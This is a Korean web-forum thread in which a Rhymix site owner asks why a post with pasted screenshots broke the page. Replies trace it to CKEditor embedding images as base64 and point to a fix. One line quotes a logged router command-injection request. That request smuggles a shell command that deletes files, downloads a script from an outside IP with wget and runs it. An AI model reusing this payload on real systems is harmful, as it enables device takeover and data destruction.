Extra Form
PHP PHP 7.4
CMS Rhymix 2.1

한창 스샷찍고 ctrl+v 로 사진 복붙하면서 글을 쓰던중에 업로드를 눌렀더니 갑자기 화면이 먹통이 됐습니다.

 

다른 브라우저로 접속하니 다른 글들은 정상적으로 출력이 되고 잘 읽히는데, 해당글을 누르면 아무것도 화면이 나오지 않고(빈화면) 뒤로가기도 안눌러졌습니다.

 

당황해서 관리자 권한으로 문서 삭제했는데, 

 

이런현상은 ctrl+V 로 사진을 복붙해서 발생한건가요?

 

클라우드 플레어에서 핫링크 방지를 해놨는데, 다른 사이트에서 제 사이트 이미지를 못긁어갈 뿐만이 아니라 저도 클립보드에서 사진을 복붙 못하게 되나요??

 

에러로그를 보니까

 

request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.79.129%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1", host: (사이트 아이피)

 

"요청은 모든 파일을 삭제하고(rm -rf *) 디렉토리를 /tmp로 변경하고 http://94.156.79.129/tenda.sh에서 스크립트를 다운로드하고 실행 권한을 부여하는 셸 명령을 실행하려고 시도하고 있습니다. 다운로드한 스크립트(chmod 777 tenda.sh)에 대한 권한을 부여한 다음 스크립트(./tenda.sh)를 실행합니다."

 

라고 떴습니다.

 

단순히 ctrl +v 해서 생긴 문제가 아니라 사이트 해킹 급이 이뤄진 상황같은데...

 

마침 제가 사이트에 코딩에 관련한 내용을 쓰고 있었거든요. 제가 코드를 복붙 사진 복붙을 하면서 급하게 등록 버튼을 눌러서 이게 에러가 이렇게 날 수 도 있는건가요?

  • profile

    해킹 시도는 하루에도 수백 수천 번씩 랜덤으로 들어옵니다. 성공했는지가 문제죠. 님 사이트에 /cgi-bin/luci 어쩌고 하는 파일이 실제로 존재하는 것이 아니라면 신경 안 쓰셔도 됩니다. 요즘 세상에 /cgi-bin/이라는 경로로 프로그램을 실행할 수 있는 서버가 있다면 솔직히 그냥 해킹당해도 싸죠...

     

    이미지를 복붙하면 CKEditor가 base64로 변환해서 소스에다가 그대로 박아 버립니다. 안 그래도 이미지 용량이 큰데 base64로 변환하면 더 커질 테고, 수십MB에 달하는 base64 코드를 DB에 저장하면... 다시 불러오는 과정에서 터질 만도 하죠. 원래 안 이랬는데 CKEditor 측에서 쓸데없는 기능을 만들어 넣는 바람에ㅡ.ㅡ 라이믹스에서 조만간 이걸 막아 버리거나, 다른 어떤 방법으로라도 땜빵해야 할 것 같습니다.

  • profile ?
    알려주셔서 감사합니다. 이미지 복붙을 하다보니까 그랬나봅니다.
    30장 정도 첨부해도 5mb 도 안나오길래 방심했더니 base64 가 있는줄도 생각도 못했네요.. 복붙으로 사진첨부가 안되는 쪽으로 가야 저희 사이트 유저들도 사용을 안할텐데 말이죠..
  • ? profile

    네, 몇 달 전에 CKEditor 업데이트하면서 이상한 증상이 생겼어요.

    아예 안 되거나, 문제를 일으키지 않는 방식으로 작동하거나, 둘 중 하나로 빨리 정리하려고 합니다.

  • profile ?
    매번 유익한 지식 알려주셔서 감사합니다. 저는 사이트 해킹 시도 들어온줄알고 클라우드플레어에서 한창 뒤적거리다가 나왔네요 ㅎㅎ...
  • profile profile
    ck editor 지원종료된줄 알았는데 업데이트가 되고있나보네요
  • profile profile
    정확히는 작년 10월 9일 4.15.1 버전에서 최종버전인 4.22.1 버전으로 업데이트된겁니다.
    문제가 되는 붙여넣기시 base64로 첨부 기능은 4.17에서 추가되었고요.
  • profile profile
    https://github.com/rhymix/rhymix/commit/88ac7ef65d2b11daded3071ec2e6f583e0ed0c18

    이렇게 수정하면 base64 첨부를 막을 수 있습니다. 그 대신 이미지를 복붙하려고 하면 에러메시지가 뜨는데, 만약 원래도 그랬다면 큰 단점은 아니네요.
  • profile profile
    확인해보니 그 이전 구버전은 그냥 오류 없이 아무것도 붙여넣어지지 않습니다.
    그래도 동작이 아무 이유 없이 안되는 것보다는 오류가 표시되는게 더 직관적인것 같습니다.
  • profile profile
    윈도우 클립보드에 이미지가 저장되면 png 형식으로 변환되면서 용량이 커지더라구요.
    https://xetown.com/download/1664903 이 자료를 쓴느데
    이렇게첨부하면 첨부용량 줄어드는 코어 기능도 작동이 안되는듯했고 용량이 커지더라도 버릴 수 없는 기능인것 같습니다.
  • profile ?
    아 이거와 관련해서 에러메세지는 안나올수 없나요?
    안되면 안되는거지만 에러메서지가 뜨면 오류라고 사람들이 생각할까봐요
  • profile ?
    정상적으로 잘됩니다! 감사합니다.
  • ?

    https://ckeditor.com/docs/ckeditor4/latest/guide/dev_file_upload.html

    이거로 이미지를 서버에 업로드할 수 있도록 코드를 넣어야 될 것 같네요.

  • ? ?
    정석적으로 사진 업로드 버튼-업로드 로 유도하고싶어서요